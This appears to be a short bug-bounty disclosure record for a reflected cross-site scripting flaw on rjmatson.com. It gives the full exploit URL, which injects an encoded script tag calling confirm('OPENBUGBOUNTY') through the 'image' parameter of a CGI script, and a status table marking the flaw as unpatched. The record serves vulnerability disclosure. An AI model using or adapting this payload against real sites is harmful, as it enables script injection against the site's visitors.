rjmatson.com XSS vulnerability

Vulnerable URL: http://www.rjmatson.com/cgi-bin/framesdisplay.cgi?image=STL1394.jpg%22%27--!%3E%3CScript%20/K/%3Econfirm%27OPENBUGBOUNTY%27%3C/Script%20/K/%3E=07/29/2011=LOOK%20MA,%20NO%20BRAINS!=STL1394 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017...